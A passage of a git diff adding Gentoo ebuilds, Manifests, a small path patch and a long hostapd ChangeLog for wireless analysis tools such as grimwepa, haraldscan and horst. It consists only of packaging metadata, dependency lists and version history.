+SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="+wep +extra" + +# pyrit, gpu attack, FIXME use flag + +DEPEND=">=virtual/jre-1.5 + net-wireless/wpa_supplicant + wep? ( net-analyzer/macchanger ) + extra? ( app-crypt/crunch + net-analyzer/wireshark + net-analyzer/hydra + app-crypt/pyrit )" +RDEPEND="${DEPEND}" + +src_install() { + newbin "${FILESDIR}/${PN}.sh" "${PN}" + insinto /usr/lib + newins "${DISTDIR}/${A}" "${PN}.jar" + insinto /etc + doins "${FILESDIR}"/grimwepa.conf + domenu "${FILESDIR}"/grimwepa.desktop +} diff --git a/net-wireless/haraldscan/Manifest b/net-wireless/haraldscan/Manifest new file mode 100644 index 00000000..c211229a --- /dev/null +++ b/net-wireless/haraldscan/Manifest @@ -0,0 +1,4 @@ +AUX haraldscan-maclist-path.patch 334 SHA256 70b53227f075425fec36314095d21962e3dd0e01cfb3525e3d093fa6c04547cd SHA512 2fce2b26c536f3849313d1d0243ab31cd01e4a787ffeb1c870c86db57203ae71143e23b9e4edcd2079d34853c09e5e603b88a41f670b0e05a6c7bdd3d9739d9f WHIRLPOOL ddb989a3cff3addbeb9cab6ea580eafab8e22ad4051275edcb1162c952bc503044321f75d38d5d000ba2a8603117a89927a2296c76c0654ddf28ef090163fde0 +DIST MACLIST 10369 SHA256 335582afd0e87d97cc5856ffb8bc296b169955d367309f8d40ec8db96e27c7b6 SHA512 aa73ec9945ea0af033a40d496c834c694ac6c9359db2b1fa01a7475f7602d1b96ecf6aca4978e656a46b727c0991146157c3fe4e32a4e1cb0a5715017e3d1a57 WHIRLPOOL 684a209fee50f713bb3529292dc4a6a934c6305ab506351f30c74b91b092bbda8446a958a9ec33e943d7329b52b09452ac9d0864ddaaa40317fd993b1a22ca63 +DIST haraldscan-src-0.41.tar.gz 44183 SHA256 86e4620d92725b480cd956f91746457484c746062ffc22ea57e5cc58fd10b53e SHA512 ed823c78b5664c7b515c4964c7570453f9c5595c4f61c3daf4fb8c7c8a154ab8352226b70a9dbc2a1a03563fcae6a0d93d08ecd79ee730fcf19b087b31ef7d31 WHIRLPOOL 1a99b13498104e30fb2b4883a5b8b3e3ca19ae605ed8963651b6921f3a5c89785ff0233efb5ea8b36f6e055ccd812087310099fc2c89937bbe97cc18d2e9fc07 +EBUILD haraldscan-0.41.ebuild 1209 SHA256 56411020a7aeae6351c5c0345e8898b365d97893dd0c6afb2c43911ee5b640e4 SHA512 61a4dcb7342fb079d1c16573416b61878b4fe24d372e0f8bc50a61bf556bbfb1f4c333fe9d05955347b7bcd27c4d9c32f53d028d199df35fd5d7cc64970d10cd WHIRLPOOL 80758ceddb96c826f638d8136252a02c119d38b4740b4c6046411726b61e02b0442ce814f826a88dc4724417ed2dbdde58ad49393ba9c141d6da774ff5675e63 diff --git a/net-wireless/haraldscan/files/haraldscan-maclist-path.patch b/net-wireless/haraldscan/files/haraldscan-maclist-path.patch new file mode 100644 index 00000000..3ef80ee0 --- /dev/null +++ b/net-wireless/haraldscan/files/haraldscan-maclist-path.patch @@ -0,0 +1,11 @@ +--- a/haraldmodules/haraldupdate.py 2010-01-15 15:01:44.939988340 +0100 ++++ b/haraldmodules/haraldupdate.py 2010-01-15 15:01:58.978014426 +0100 +@@ -35,7 +35,7 @@ + llines = 0 + + +- flocal = open('MACLIST', 'rb') ++ flocal = open('/usr/share/haraldscan/MACLIST', 'rb') + + for line in flocal: + llines+=1 diff --git a/net-wireless/haraldscan/haraldscan-0.41.ebuild b/net-wireless/haraldscan/haraldscan-0.41.ebuild new file mode 100644 index 00000000..e4579fb8 --- /dev/null +++ b/net-wireless/haraldscan/haraldscan-0.41.ebuild @@ -0,0 +1,59 @@ +# Copyright 1999-2010 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI="4" + +PYTHON_DEPEND="2" + +inherit python eutils + +DESCRIPTION="A Bluetooth discovery scanner" +HOMEPAGE="http://code.google.com/p/haraldscan/" +SRC_URI="http://haraldscan.googlecode.com/files/${PN}-src-${PV}.tar.gz + http://haraldscan.googlecode.com/svn/trunk/MACLIST" + +LICENSE="GPL-3" +SLOT="0" +KEYWORDS="~amd64 ~x86" +IUSE="" + +DEPEND="$RDEPEND" +RDEPEND="dev-python/pybluez" + +#S="${WORKDIR}"/${PN}-${PV} + +pkg_setup() { + python_set_active_version 2 + python_pkg_setup +} + +src_unpack() { + mkdir "${S}" + cd "${S}" + unpack ${A} + cd "${S}" +} +src_prepare() { + epatch "${FILESDIR}"/haraldscan-maclist-path.patch +} +src_install() { + insinto $(python_get_sitedir)/haraldmodules + doins haraldmodules/*.py + dobin haraldscan.py + insinto /usr/share/haraldscan +# doins MACLIST + cp "${DISTDIR}"/MACLIST "${D}"/usr/share/${PN}/ + dodoc doc/README +} + +pkg_postinst() { + python_mod_optimize haraldmodules +# einfo "Updating MAC database..." +# haraldscan.py -u >/dev/null 2>&1 || true + elog "Run 'haraldscan.py -u' to create macinfo.db in a current directory" +} + +pkg_postrm() { + python_mod_cleanup haraldmodules +} diff --git a/net-wireless/horst/Manifest b/net-wireless/horst/Manifest new file mode 100644 index 00000000..aaf44c9d --- /dev/null +++ b/net-wireless/horst/Manifest @@ -0,0 +1,2 @@ +DIST horst-3.0.tar.gz 63179 RMD160 9fb84a68baef5a09a5bb6f7a433ddc967fb3ae90 SHA1 b7bf94f819285c3d0e79d0fba921ab8221cc6e47 SHA256 7d8de85ff8715f3bea7ccecc0382e2d3c48bccce4be6dee5f1d0d15447776cc8 +EBUILD horst-3.0.ebuild 553 RMD160 4d677bd11488714f238cc405e5bcb4909285ab78 SHA1 46c27db06a6bec346b7103b9764d634714b6ec70 SHA256 b7e358ace47d2c4f7685240b9843ad211af3b70cfdd6dffdfbb191c8bcfc07f6 diff --git a/net-wireless/horst/horst-3.0.ebuild b/net-wireless/horst/horst-3.0.ebuild new file mode 100644 index 00000000..6a990ab6 --- /dev/null +++ b/net-wireless/horst/horst-3.0.ebuild @@ -0,0 +1,31 @@ +# Copyright 1999-2012 Gentoo Foundation +# Distributed under the terms of the GNU General Public License v2 +# $Header: $ + +EAPI=4 + +DESCRIPTION="Small 802.11 wireless LAN analyzer" +HOMEPAGE="http://br1.einfach.org/tech/horst/" +SRC_URI="http://br1.einfach.org/horst_dl/${P}.tar.gz" + +LICENSE="GPL-2" +SLOT="0" +KEYWORDS="~amd64 ~arm ~x86" +IUSE="+pcap" + +DEPEND="sys-libs/ncurses + pcap? ( net-libs/libpcap )" +RDEPEND="${DEPEND}" + +src_compile() { + if use pcap; then + emake PCAP=1 + else + emake + fi +} + +src_install() { + dosbin horst + dodoc ChangeLog README TODO +} diff --git a/net-wireless/hostapd/ChangeLog b/net-wireless/hostapd/ChangeLog new file mode 100644 index 00000000..f0e55f20 --- /dev/null +++ b/net-wireless/hostapd/ChangeLog @@ -0,0 +1,579 @@ +# ChangeLog for net-wireless/hostapd +# Copyright 1999-2011 Gentoo Foundation; Distributed under the GPL v2 +# $Header: /var/cvsroot/gentoo-x86/net-wireless/hostapd/ChangeLog,v 1.110 2011/04/21 13:53:15 tomka Exp $ + + 21 Apr 2011; Thomas Kahle hostapd-0.7.3.ebuild: + x86 stable per bug 360997 + + 29 Mar 2011; Christoph Mende hostapd-0.7.3.ebuild: + Stable on amd64 wrt bug #360997 + +*hostapd-0.7.3 (08 Sep 2010) + + 08 Sep 2010; Bjarke Istrup Pedersen + -hostapd-0.6.8.ebuild, -hostapd-0.6.10.ebuild, -hostapd-0.7.2.ebuild, + +hostapd-0.7.3.ebuild: + Bumping to 0.7.3 and removing old versions. + This version is the first in the 0.7 stable series from upstream. + +*hostapd-0.7.2 (23 May 2010) + + 23 May 2010; Bjarke Istrup Pedersen + -hostapd-0.7.1.ebuild, +hostapd-0.7.2.ebuild: + Bumping to 0.7.2, fixing bug #319923 + +*hostapd-0.7.1 (24 Jan 2010) + + 24 Jan 2010; Bjarke Istrup Pedersen + -hostapd-0.7.0.ebuild, -files/hostapd-0.7.0-fix_linking.patch, + +hostapd-0.7.1.ebuild: + Bumping to 0.7.1 , fixing bugs #301540 and #301542 + +*hostapd-0.7.0 (16 Jan 2010) + + 16 Jan 2010; Bjarke Istrup Pedersen + +hostapd-0.7.0.ebuild, +files/hostapd-0.7.0-fix_linking.patch, + metadata.xml: + Bumping to 0.7.0 + +*hostapd-0.6.10 (14 Jan 2010) + + 14 Jan 2010; Bjarke Istrup Pedersen + hostapd-0.6.8.ebuild, -files/hostapd-0.6.8-conf.d, + -files/hostapd-0.6.8-init.d, hostapd-0.6.9.ebuild, + -files/hostapd-0.6.9-conf.d, -files/hostapd-0.6.9-init.d, + +hostapd-0.6.10.ebuild, +files/hostapd-conf.d, +files/hostapd-init.d: + Bumping to 0.6.10 and removing redundant init.d and conf.d files + + 11 Sep 2009; Diego E. Pettenò + hostapd-0.6.8.ebuild, hostapd-0.6.9.ebuild: + Fix RDEPEND assignment that nilled the runtime dependencies. + + 24 May 2009; Markus Meier hostapd-0.6.9.ebuild: + amd64/x86 stable, bug #270148 + + 21 May 2009; Brent Baude hostapd-0.6.9.ebuild: + stable ppc, bug 270148 + + 17 May 2009; Bjarke Istrup Pedersen + files/hostapd-0.6.8-init.d, files/hostapd-0.6.9-init.d: + Fixing init script, so it is POSIX compliant, fixing bug #269063 + + 16 Apr 2009; Bjarke Istrup Pedersen + hostapd-0.6.9.ebuild: + Porting ebuild to EAPI 2 + + 05 Apr 2009; Bjarke Istrup Pedersen + -files/hostapd-0.5.10-conf.d, -files/hostapd-0.5.10-init.d, + -hostapd-0.5.10.ebuild: + Removing 0.5.10, since it has been superseeded by 0.6.8 + + 04 Apr 2009; Markus Meier hostapd-0.6.8.ebuild: + amd64/x86 stable, bug #263673 + + 24 Mar 2009; Joseph Jezak hostapd-0.6.8.ebuild: + Marked ppc stable for bug #263673. + +*hostapd-0.6.9 (25 Mar 2009) + + 25 Mar 2009; Bjarke Istrup Pedersen + -files/hostapd-0.6.7-conf.d, -files/hostapd-0.6.7-init.d, + +files/hostapd-0.6.9-conf.d, +files/hostapd-0.6.9-init.d, + -hostapd-0.6.7.ebuild, +hostapd-0.6.9.ebuild: + Bumping to 0.6.9 and removing 0.6.7 + + 27 Feb 2009; Bjarke Istrup Pedersen + hostapd-0.6.7.ebuild, hostapd-0.6.8.ebuild: + Added info regarding madwifi and wme_enabled + + 27 Feb 2009; Bjarke Istrup Pedersen + hostapd-0.6.7.ebuild, hostapd-0.6.8.ebuild: + Adding support for 802.11n and removing stable flags from 0.6.7, since it + is still from the development branch. + + 25 Feb 2009; Markus Meier hostapd-0.6.7.ebuild: + amd64/x86 stable, bug #259285 + +*hostapd-0.6.8 (16 Feb 2009) + + 16 Feb 2009; Bjarke Istrup Pedersen + +files/hostapd-0.6.8-conf.d, +files/hostapd-0.6.8-init.d, + +hostapd-0.6.8.ebuild: + Bumping to 0.6.8 + +*hostapd-0.6.7 (06 Jan 2009) + + 06 Jan 2009; Bjarke Istrup Pedersen + -files/hostapd-0.6.6-conf.d, -files/hostapd-0.6.6-init.d, + +files/hostapd-0.6.7-conf.d, +files/hostapd-0.6.7-init.d, metadata.xml, + -hostapd-0.6.6.ebuild, +hostapd-0.6.7.ebuild: + Bumping to 0.6.7 and adding WPS support to the ebuild + + 29 Dec 2008; Bjarke Istrup Pedersen + hostapd-0.6.6.ebuild: + Fixing typo in version check reported by Jackie + +*hostapd-0.6.6 (14 Dec 2008) + + 14 Dec 2008; Bjarke Istrup Pedersen + -files/hostapd-0.6.5-conf.d, -files/hostapd-0.6.5-init.d, + +files/hostapd-0.6.6-conf.d, +files/hostapd-0.6.6-init.d, + -hostapd-0.6.5.ebuild, +hostapd-0.6.6.ebuild: + Bumping to 0.6.6 + +*hostapd-0.6.5 (14 Dec 2008) + + 14 Dec 2008; Bjarke Istrup Pedersen + -files/hostapd-0.6.4-conf.d, -files/hostapd-0.6.4-init.d, + +files/hostapd-0.6.5-conf.d, +files/hostapd-0.6.5-init.d, + -hostapd-0.6.4.ebuild, +hostapd-0.6.5.ebuild: + Bumping to 0.6.5 and removing broken nl80211 check + + 23 Aug 2008; Doug Goldstein metadata.xml: + add GLEP 56 USE flag desc from use.local.desc + + 20 Aug 2008; Bjarke Istrup Pedersen + -files/hostapd-0.4.9-conf.d, -files/hostapd-0.4.9-init.d, + -hostapd-0.4.9.ebuild: + Removing 0.4.9, since it has been out of development for a long time, and + 0.5.10 finally is stable + + 20 Aug 2008; Markus Meier hostapd-0.5.10.ebuild: + amd64/x86 stable, bug #234503 + + 12 Aug 2008; Brent Baude hostapd-0.5.10.ebuild: + stable ppc, bug 234503 + +*hostapd-0.6.4 (11 Aug 2008) + + 11 Aug 2008; Bjarke Istrup Pedersen + -files/hostapd-0.6.3-conf.d, -files/004-nl80211-rename-STAT-to-INFO.patch, + -files/hostapd-0.6.3-init.d, +files/hostapd-0.6.4-conf.d, + +files/hostapd-0.6.4-init.d, metadata.xml, -hostapd-0.6.3-r1.ebuild, + +hostapd-0.6.4.ebuild: + Bumping to version 0.6.4 and adding use flag info to metadata.xml + + 11 Jul 2008; Bjarke Istrup Pedersen + hostapd-0.6.3-r1.ebuild: + Added note about kernel missing patch with download link + +*hostapd-0.6.3-r1 (05 Jun 2008) + + 05 Jun 2008; Bjarke Istrup Pedersen + +files/004-nl80211-rename-STAT-to-INFO.patch, -hostapd-0.6.3.ebuild, + +hostapd-0.6.3-r1.ebuild: + Bumping to 0.6.3-r1, finally adding support for nl80211. + + 03 Jun 2008; Michael Sterrett hostapd-0.4.9.ebuild, + hostapd-0.5.10.ebuild, hostapd-0.6.3.ebuild: + remove reference to old, removed net-wireless/madwifi-ng + +*hostapd-0.5.10 (15 May 2008) + + 15 May 2008; Bjarke Istrup Pedersen + -files/hostapd-0.5.8-conf.d, -files/hostapd-0.5.8-init.d, + +files/hostapd-0.5.10-conf.d, +files/hostapd-0.5.10-init.d, + -hostapd-0.5.8.ebuild, +hostapd-0.5.10.ebuild: + Bumping to version 0.5.10 + +*hostapd-0.6.3 (11 Mar 2008) + + 11 Mar 2008; Bjarke Istrup Pedersen + -files/hostapd-0.6.1-conf.d, -files/hostapd-0.6.1-init.d, + +files/hostapd-0.6.3-conf.d, +files/hostapd-0.6.3-init.d, + -hostapd-0.6.1.ebuild, +hostapd-0.6.3.ebuild: + Bumping to version 0.6.3 + +*hostapd-0.6.1 (10 Dec 2007) + + 10 Dec 2007; Bjarke Istrup Pedersen + -files/hostapd-0.6.0-conf.d, -files/hostapd-0.6.0-init.d, + +files/hostapd-0.6.1-conf.d, +files/hostapd-0.6.1-init.d, + -hostapd-0.6.0.ebuild, +hostapd-0.6.1.ebuild: + Bumping to version 0.6.1 + + 10 Sep 2007; Bjarke Istrup Pedersen + hostapd-0.6.0.ebuild: + Removed support for mac80211 since it is broken for now + + 19 Jun 2007; Stefan Schweizer hostapd-0.4.9.ebuild, + hostapd-0.5.8.ebuild, hostapd-0.6.0.ebuild: + New madwifi-ng-tools depends thanks to Gordon Malm + in bug 179348 + +*hostapd-0.5.8 (06 Jun 2007) + + 06 Jun 2007; Bjarke Istrup Pedersen + -files/hostapd-0.5.7-conf.d, -files/hostapd-0.5.7-init.d, + +files/hostapd-0.5.8-conf.d, +files/hostapd-0.5.8-init.d, + -hostapd-0.5.7.ebuild, +hostapd-0.5.8.ebuild: + Bumping to version 0.5.8 and removing 0.5.7 + +*hostapd-0.6.0 (06 Jun 2007) + + 06 Jun 2007; Bjarke Istrup Pedersen + -files/hostapd-0.4.7-conf.d, -files/hostapd-0.4.7-init.d, + -files/hostapd-0.4.8-conf.d, -files/hostapd-0.4.8-init.d, + -files/hostapd-0.5.2-conf.d, -files/hostapd-0.5.2-init.d, + -files/hostapd-0.5.2-ssl.patch, -files/hostapd-0.5.3-conf.d, + -files/hostapd-0.5.3-init.d, -files/hostapd-0.5.3-os_get_random.patch, + -files/hostapd-0.5.4-conf.d, -files/hostapd-0.5.4-init.d, + +files/hostapd-0.6.0-conf.d, +files/hostapd-0.6.0-init.d, metadata.xml, + +hostapd-0.6.0.ebuild: + Bumping to version 0.6.0, removed stalled files and added myself as maintainer + + 11 Mar 2007; Petteri Räty metadata.xml: + Fix metadata.xml white space. + + 11 Mar 2007; Petteri Räty hostapd-0.4.9.ebuild, + hostapd-0.5.7.ebuild: + Fix ROOT usage wrt bug #168039. + +*hostapd-0.5.7 (10 Feb 2007) + + 10 Feb 2007; Christian Heim + +files/hostapd-0.5.7-conf.d, +files/hostapd-0.5.7-init.d, + +hostapd-0.5.7.ebuild: + Version bump, thanks to Conrad Kostecki in #150769. + + 10 Sep 2006; Bryan Østergaard metadata.xml: + Remove brix from metadata.xml. + + 03 Sep 2006; Michael Hanselmann hostapd-0.4.9.ebuild: + Stable on ppc. + + 26 Jun 2006; Henrik Brix Andersen hostapd-0.4.9.ebuild: + Stable on x86. + +*hostapd-0.5.4 (21 Jun 2006) + + 21 Jun 2006; Henrik Brix Andersen + +files/hostapd-0.5.4-conf.d, +files/hostapd-0.5.4-init.d, + +hostapd-0.5.4.ebuild: + New developer snapshot. + +*hostapd-0.4.9 (27 May 2006) + + 27 May 2006; Henrik Brix Andersen + +files/hostapd-0.4.9-conf.d, +files/hostapd-0.4.9-init.d, + +hostapd-0.4.9.ebuild: + Version bump. + +*hostapd-0.5.3 (29 Apr 2006) + + 29 Apr 2006; Henrik Brix Andersen + +files/hostapd-0.5.3-conf.d, +files/hostapd-0.5.3-init.d, + +files/hostapd-0.5.3-os_get_random.patch, +hostapd-0.5.3.ebuild: + New development snapshot. + + 14 Apr 2006; Henrik Brix Andersen hostapd-0.4.8.ebuild, + hostapd-0.5.2.ebuild: + Updated madwifi dependencies. + + 26 Mar 2006; Henrik Brix Andersen + -files/hostapd-0.5.0-conf.d, -files/hostapd-0.5.0-init.d, + -files/hostapd-0.5.1-conf.d, -files/hostapd-0.5.1-init.d, + +files/hostapd-0.5.2-ssl.patch, -hostapd-0.4.7-r1.ebuild, + -hostapd-0.5.0.ebuild, -hostapd-0.5.0-r1.ebuild, -hostapd-0.5.1.ebuild, + hostapd-0.5.2.ebuild: + Fix compilation with USE=-ssl, thanks to langthang in bug #127598. Pruned + old ebuilds. + +*hostapd-0.5.2 (20 Mar 2006) + + 20 Mar 2006; Henrik Brix Andersen + +files/hostapd-0.5.2-conf.d, +files/hostapd-0.5.2-init.d, + +hostapd-0.5.2.ebuild: + New development snapshot. + + 15 Mar 2006; Henrik Brix Andersen hostapd-0.4.8.ebuild: + Stable on x86. + + 27 Feb 2006; Henrik Brix Andersen hostapd-0.4.8.ebuild, + hostapd-0.5.0.ebuild, hostapd-0.5.0-r1.ebuild, hostapd-0.5.1.ebuild: + Fix madwifi compilation with ROOT != "/". + + 19 Feb 2006; Michael Hanselmann + hostapd-0.4.7-r2.ebuild: + Stable on ppc. + + 16 Feb 2006; Henrik Brix Andersen hostapd-0.5.0.ebuild, + hostapd-0.5.0-r1.ebuild, hostapd-0.5.1.ebuild: + Fix building with USE=-ssl. Thanks to langthang in bug #122987. + +*hostapd-0.4.8 (14 Feb 2006) + + 14 Feb 2006; Henrik Brix Andersen + +files/hostapd-0.4.8-conf.d, +files/hostapd-0.4.8-init.d, + +hostapd-0.4.8.ebuild: + New stable release from upstream. Backported madwifi support from 0.5.x + ebuilds. + + 13 Feb 2006; Henrik Brix Andersen + hostapd-0.4.7-r2.ebuild: + Stable on x86. + + 03 Feb 2006; Henrik Brix Andersen + -files/hostapd-0.3.9-conf.d, -files/hostapd-0.3.9-init.d, + -files/hostapd-0.4.5-conf.d, -files/hostapd-0.4.5-init.d, + -files/hostapd-0.4.5-prism54.patch, -files/hostapd-0.4.6-conf.d, + -files/hostapd-0.4.6-init.d, -files/hostapd.init.d, -hostapd-0.4.5.ebuild, + -hostapd-0.4.6.ebuild, -hostapd-0.4.7.ebuild: + Pruned old ebuilds. + +*hostapd-0.5.1 (30 Jan 2006) + + 30 Jan 2006; Henrik Brix Andersen + +files/hostapd-0.5.1-conf.d, +files/hostapd-0.5.1-init.d, + +hostapd-0.5.1.ebuild: + New development snapshot. + +*hostapd-0.5.0-r1 (09 Jan 2006) +*hostapd-0.4.7-r2 (09 Jan 2006) + + 09 Jan 2006; Henrik Brix Andersen + files/hostapd-0.4.7-init.d, files/hostapd-0.5.0-init.d, + +hostapd-0.4.7-r2.ebuild, +hostapd-0.5.0-r1.ebuild: + Fix init scripts to work with baselayout-1.12.0_rcX. + + 02 Jan 2006; Michael Hanselmann + hostapd-0.4.7-r1.ebuild: + Stable on ppc. + + 30 Dec 2005; Henrik Brix Andersen + hostapd-0.4.7-r1.ebuild: + Stable on x86. + +*hostapd-0.4.7-r1 (30 Dec 2005) + + 30 Dec 2005; Henrik Brix Andersen + +hostapd-0.4.7-r1.ebuild: + Added version without madwifi support in preparation for marking it stable + on x86. + + 24 Dec 2005; Michael Hanselmann + hostapd-0.3.9-r1.ebuild: + Stable on ppc. + +*hostapd-0.5.0 (20 Dec 2005) + + 20 Dec 2005; Henrik Brix Andersen + +files/hostapd-0.5.0-conf.d, +files/hostapd-0.5.0-init.d, + +hostapd-0.5.0.ebuild: + New development snapshot. + +*hostapd-0.4.7 (21 Nov 2005) + + 21 Nov 2005; Henrik Brix Andersen + +files/hostapd-0.4.7-conf.d, +files/hostapd-0.4.7-init.d, + +hostapd-0.4.7.ebuild: + First release of new stable branch. + +*hostapd-0.4.6 (29 Oct 2005) + + 29 Oct 2005; Henrik Brix Andersen + +files/hostapd-0.4.6-conf.d, +files/hostapd-0.4.6-init.d, + +hostapd-0.4.6.ebuild: + New development release. + + 22 Oct 2005; Henrik Brix Andersen + -files/hostapd-0.4.3-conf.d, -files/hostapd-0.4.3-init.d, + -files/hostapd-0.4.4-conf.d, -files/hostapd-0.4.4-init.d, + -hostapd-0.4.3.ebuild, -hostapd-0.4.4.ebuild, -hostapd-0.4.4-r1.ebuild: + Pruned old versions. + +*hostapd-0.4.5 (17 Oct 2005) + + 17 Oct 2005; Henrik Brix Andersen + +files/hostapd-0.4.5-conf.d, +files/hostapd-0.4.5-init.d, + +files/hostapd-0.4.5-prism54.patch, +hostapd-0.4.5.ebuild: + New development snapshot, bug #108319. + + 17 Sep 2005; Simon Stelling hostapd-0.4.4-r1.ebuild: + added ~amd64 keyword + +*hostapd-0.4.4-r1 (22 Aug 2005) + + 22 Aug 2005; Henrik Brix Andersen + files/hostapd-0.4.4-init.d, +hostapd-0.4.4-r1.ebuild: + Install more example configuration files, use SIGHUP for reloading + configuration in init script. + +*hostapd-0.4.4 (22 Aug 2005) + + 22 Aug 2005; Henrik Brix Andersen + +files/hostapd-0.4.4-conf.d, +files/hostapd-0.4.4-init.d, + +hostapd-0.4.4.ebuild: + New development snapshot. Compile against headers installed by + net-wireless/madwifi-driver instead of local snapshot. + + 16 Aug 2005; Henrik Brix Andersen ChangeLog: + Stable on x86. + + 13 Jul 2005; -files/hostapd-0.4.0-conf.d, + -files/hostapd-0.4.0-init.d, -files/hostapd-0.4.1-conf.d, + -files/hostapd-0.4.1-init.d, -files/hostapd-0.4.2-conf.d, + -files/hostapd-0.4.2-init.d, -hostapd-0.2.5.ebuild, -hostapd-0.2.6.ebuild, + -hostapd-0.3.9.ebuild, -hostapd-0.4.0-r1.ebuild, -hostapd-0.4.1.ebuild, + -hostapd-0.4.2.ebuild: + Pruned old ebuilds. + + 08 Jul 2005; hostapd-0.3.9.ebuild, + hostapd-0.3.9-r1.ebuild, hostapd-0.4.0-r1.ebuild, hostapd-0.4.1.ebuild, + hostapd-0.4.2.ebuild, hostapd-0.4.3.ebuild: + Fixed DEPEND/RDEPEND issue. + +*hostapd-0.4.3 (27 Jun 2005) + + 27 Jun 2005; +files/hostapd-0.4.3-conf.d, + +files/hostapd-0.4.3-init.d, +hostapd-0.4.3.ebuild: + New development snapshot. + + 27 Jun 2005; David Holm hostapd-0.3.7.ebuild: + Stable on ppc. + +*hostapd-0.3.9-r1 (13 Jun 2005) + + 13 Jun 2005; +files/hostapd-0.3.9-conf.d, + +files/hostapd-0.3.9-init.d, +hostapd-0.3.9-r1.ebuild: + Backported 0.4.x ebuild fixes to 0.3.9. + +*hostapd-0.4.2 (13 Jun 2005) + + 13 Jun 2005; +files/hostapd-0.4.2-conf.d, + +files/hostapd-0.4.2-init.d, +hostapd-0.4.2.ebuild: + New development release. + +*hostapd-0.3.9 (11 Jun 2005) + + 11 Jun 2005; +hostapd-0.3.9.ebuild: + New stable release. + +*hostapd-0.4.1 (23 May 2005) + + 23 May 2005; +files/hostapd-0.4.1-conf.d, + +files/hostapd-0.4.1-init.d, +hostapd-0.4.1.ebuild: + New development release. + + 11 May 2005; -hostapd-0.4.0.ebuild: + Removed old ebuild + +*hostapd-0.4.0-r1 (29 Apr 2005) + + 29 Apr 2005; +files/hostapd-0.4.0-conf.d, + +files/hostapd-0.4.0-init.d, +hostapd-0.4.0-r1.ebuild: + Install hostapd_cli and man pages, restructured init script. + +*hostapd-0.4.0 (27 Apr 2005) + + 27 Apr 2005; +hostapd-0.4.0.ebuild: + New development snapshot. + + 16 Apr 2005; hostapd-0.3.7.ebuild: + Stable on x86. + + 13 Feb 2005; Henrik Brix Andersen -hostapd-0.3.5.ebuild, + -hostapd-0.3.7_pre.ebuild: + Pruned old versions. + +*hostapd-0.3.7 (13 Feb 2005) + + 13 Feb 2005; Henrik Brix Andersen +hostapd-0.3.7.ebuild: + New stable version from upstream. + +*hostapd-0.3.7_pre (07 Feb 2005) + + 07 Feb 2005; Henrik Brix Andersen + +hostapd-0.3.7_pre.ebuild: + Added pre-release of 0.3.7 which is supposed to go stable soon, please test. + + 25 Jan 2005; Henrik Brix Andersen -hostapd-0.2.4.ebuild, + -hostapd-0.3.0.ebuild, -hostapd-0.3.1.ebuild, -hostapd-0.3.2.ebuild, + -hostapd-0.3.3.ebuild, -hostapd-0.3.4.ebuild: + Pruned old versions. + +*hostapd-0.3.5 (24 Jan 2005) + + 24 Jan 2005; Henrik Brix Andersen +hostapd-0.3.5.ebuild: + New development snapshot. + + 18 Jan 2005; Henrik Brix Andersen hostapd-0.2.4.ebuild, + hostapd-0.2.5.ebuild, hostapd-0.2.6.ebuild, hostapd-0.3.0.ebuild, + hostapd-0.3.1.ebuild, hostapd-0.3.2.ebuild, hostapd-0.3.3.ebuild, + hostapd-0.3.4.ebuild: + Removed hostap-driver dependency, fixes bug #78094. + + 14 Jan 2005; Henrik Brix Andersen hostapd-0.2.6.ebuild: + Stable on x86. + +*hostapd-0.3.4 (10 Jan 2005) + + 10 Jan 2005; Henrik Brix Andersen +hostapd-0.3.4.ebuild: + New development version, bumped included madwifi-driver. + +*hostapd-0.3.3 (03 Jan 2005) + + 03 Jan 2005; Henrik Brix Andersen +hostapd-0.3.3.ebuild: + New development snapshot. + +*hostapd-0.2.6 (26 Dec 2004) + + 26 Dec 2004; Henrik Brix Andersen +hostapd-0.2.6.ebuild: + Version bump. + +*hostapd-0.3.2 (20 Dec 2004) + + 20 Dec 2004; Henrik Brix Andersen +hostapd-0.3.2.ebuild: + Added new development snapshot. + +*hostapd-0.3.1 (13 Dec 2004) + + 13 Dec 2004; Henrik Brix Andersen +hostapd-0.3.1.ebuild: + Version bump (development snapshot) + +*hostapd-0.3.0 (12 Dec 2004) + + 12 Dec 2004; Henrik Brix Andersen +hostapd-0.3.0.ebuild: + Version bump. Please note that version 0.3.0 is a development snapshot. + + 12 Dec 2004; Daniel Black hostapd-0.2.5.ebuild: + ppc stable as per bug #74117. Changed DEPEND on kernel modules to a RDEPEND. + + 10 Dec 2004; Henrik Brix Andersen -hostapd-0.1.0.ebuild, + -hostapd-0.1.3.ebuild: + Pruned ancient versions. + + 27 Nov 2004; Wolfram Schlich hostapd-0.2.5.ebuild: + mark stable on x86 + + 01 Nov 2004; Henrik Brix Andersen hostapd-0.1.0.ebuild, + hostapd-0.1.3.ebuild, hostapd-0.2.4.ebuild, hostapd-0.2.5.ebuild: + Use tc-getCC() from toolchain-funcs.eclass, fixes bug #69282. + +*hostapd-0.2.5 (25 Oct 2004) + + 25 Oct 2004; Henrik Brix Andersen +hostapd-0.2.5.ebuild: + Version bump. Cleaned up ebuild. + +*hostapd-0.2.4 (14 Sep 2004) + + 14 Sep 2004; Henrik Brix Andersen +hostapd-0.2.4.ebuild: + Bump. Ebuild by latexer@gentoo.org. + +*hostapd-0.1.3 (09 Feb 2004) + + 09 Feb 2004; Wolfram Schlich hostapd-0.1.3.ebuild: + Version bump + + 16 Dec 2003; Wolfram Schlich hostapd-0.1.0.ebuild: + mark stable on x86 + + 11 Nov 2003; Peter Johanson metadata.xml: + Added to the new "mobile" herd. + +*hostapd-0.1.0 (21 Oct 2003) + + 21 Oct 2003; Wolfram Schlich hostapd-0.1.0.ebuild, + metadata.xml: + Initial import + diff --git a/net-wireless/hostapd/Manifest b/net-wireless/hostapd/Manifest new file mode 100644 index 00000000..b2423470 --- /dev/null +++ b/net-wireless/hostapd/Manifest @@ -0,0 +1,14 @@ +AUX cui-20120417.patch 13221 SHA256 b853484cd5d3e89e4eb96be3edf0bedef01922e74cd87578c6a2faf647f3180a SHA512 242f70701a59206ff980ff602e7d94f9a2afca7f4fbc2861086eb412863b3e7e73f76ea972a5ed24f7baf1810757add2a9839647fd605b94a1e6edbbeddc1452 WHIRLPOOL 02859bd43030a2df7fd12fc0952071b34e26ae718dfb568f2cefa52d0d69555033ed318784b2ffa9781a05b04913187d038ea24e30f74613907334dd7f5b77d8 +AUX cui-20120717.patch 12726 SHA256 ce24f99b5d45b78af750339ac8c05595b0faed7cecd99fa8e8072e65386d8e05 SHA512 